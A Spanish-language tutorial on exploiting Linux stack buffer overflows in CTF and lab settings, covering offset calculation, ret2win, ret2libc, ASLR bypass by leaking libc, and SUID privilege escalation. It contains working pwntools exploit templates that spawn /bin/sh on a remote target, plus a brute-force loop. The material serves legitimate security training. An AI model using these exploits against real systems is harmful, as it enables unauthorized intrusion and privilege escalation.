Buffer overflow en Linux paso a paso: ret2win y ret2libc con pwntools
De un binario que se rompe a una shell: checksec, calcular el offset con cyclic, ret2win, saltarse NX con ret2libc y fugar libc contra ASLR, con plantillas en pwntools.
Un desbordamiento de búfer en la pila ocurre cuando un programa copia más datos de los que caben en un array local. Lo que sobra pisa lo que hay detrás en la pila y, entre otras cosas, la dirección de retorno: cuando la función termina, el programa salta adonde tú digas.
void vuln() {
char buf[64];
gets(buf); // lee sin límite: cualquier entrada de más de 64 bytes desborda
}
Esta guía usa binarios de 64 bits en Linux, que es lo que encontrarás en casi todas las máquinas y CTF actuales. Necesitas gdb con pwndbg o GEF y pwntools (pip install pwntools).
1. Reconocimiento: qué protecciones tiene
file ./vuln # 32 o 64 bits, enlazado dinámico o estático
checksec --file=./vuln
| Protección | Qué impide | Cómo se rodea |
|---|---|---|
| Canary | Pisar el retorno sin que se note | Fugar el canary (format string, lectura de más) |
| NX | Ejecutar código en la pila | Reutilizar código que ya existe: ROP, ret2libc |
| PIE | Saber dónde está el binario | Fugar una dirección del binario |
| ASLR (del sistema) | Saber dónde está libc | Fugar una dirección de libc |
Sin canary es la situación típica de una máquina. En la víctima, mira si ASLR está activo: cat /proc/sys/kernel/randomize_va_space (2 = activo).
2. Calcular el offset
Cuántos bytes hay hasta la dirección de retorno. Con un patrón cíclico:
pwn cyclic -n 8 200 > patron
gdb ./vuln
pwndbg> run < patron
# el programa se rompe en el ret; mira el valor que hay en lo alto de la pila
pwndbg> x/gx $rsp
pwn cyclic -n 8 -l <valor> # → 72 (64 del búfer + 8 del rbp guardado)
En 64 bits el programa se para en ret (la dirección no es válida y no llega a cargarse en RIP), por eso se mira $rsp y no $rip.
3. ret2win: saltar a una función que ya existe
Si el binario tiene una función que da la flag o una shell y nunca se llama, basta con saltar a ella:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process() # remote('10.10.10.10', 1337) para el servidor
ret = ROP(elf).find_gadget(['ret'])[0] # alinea la pila a 16 bytes (si no, system() se cuelga en movaps)
payload = b'A' * 72 + p64(ret) + p64(elf.symbols['win'])
p.sendline(payload)
p.interactive()
4. ret2libc: NX activo y sin función mágica
No puedes ejecutar en la pila, pero libc ya está cargada y tiene system y la cadena "/bin/sh". En 64 bits el primer argumento va en rdi, así que necesitas un gadget pop rdi; ret:
ROPgadget --binary ./vuln | grep "pop rdi"
Sin ASLR (direcciones fijas)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = 0x7ffff7dc3000 # 'vmmap' en gdb o 'ldd ./vuln' en la víctima
rop = ROP([elf, libc])
rop.raw(rop.find_gadget(['ret'])[0])
rop.system(next(libc.search(b'/bin/sh\x00')))
p.sendline(b'A' * 72 + rop.chain())
Con ASLR: dos fases
La dirección de libc cambia en cada ejecución, así que primero la fugas y luego, sin que el programa termine, mandas el segundo payload:
from pwn import *
elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6') # la de la víctima, no la tuya
p = remote('10.10.10.10', 1337)
# Fase 1: puts(puts@got) imprime la dirección real de puts, y volvemos a main
rop = ROP(elf)
rop.puts(elf.got['puts'])
rop.main()
p.sendlineafter(b'> ', b'A' * 72 + rop.chain())
fuga = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = fuga - libc.symbols['puts']
log.success(f'libc en {hex(libc.address)}')
# Fase 2: system("/bin/sh")
rop = ROP([elf, libc])
rop.raw(rop.find_gadget(['ret'])[0])
rop.system(next(libc.search(b'/bin/sh\x00')))
p.sendlineafter(b'> ', b'A' * 72 + rop.chain())
p.interactive()
Truco
Si no tienes la libc de la víctima, la fuga te la da: los últimos 3 dígitos hexadecimales de puts no cambian con ASLR. Búscalos en libc.rip o libc.blukat.me y descarga la versión que coincida.
Si el binario es SUID en una máquina
Es el caso de October y Frolic: un binario SUID local, sin ASLR o con pocos bits. Con ASLR en 32 bits, la base de libc solo varía en unos pocos bits y es viable fuerza bruta: ejecutar el exploit en bucle con una dirección fija hasta que acierte.
while true; do ./ovrflw $(python3 exploit.py); done
En SUID, system("/bin/sh") puede soltar los privilegios (dash los descarta si el UID real no coincide). Encadena antes setuid(0) o usa execve con /bin/sh -p.
Errores típicos
- Funciona en local y no en remoto: libc distinta, o el servidor no vacía el búfer de salida (usa
recvuntilcon lo que imprime antes de pedir datos). - Segfault dentro de
system: pila desalineada; añade unretsuelto antes. - Bytes nulos o saltos de línea:
getspara en\n,strcpyen\x00. Las direcciones de 64 bits llevan ceros al final, así que constrcpysolo puedes poner la última dirección. - Hay canary: necesitas otra vulnerabilidad para leerlo; con una format string es lo habitual.
En Windows (los clásicos de la OSCP antigua como el de Buff) la idea es la misma pero sin NX ni ASLR: se salta a un jmp esp y se ejecuta shellcode en la pila.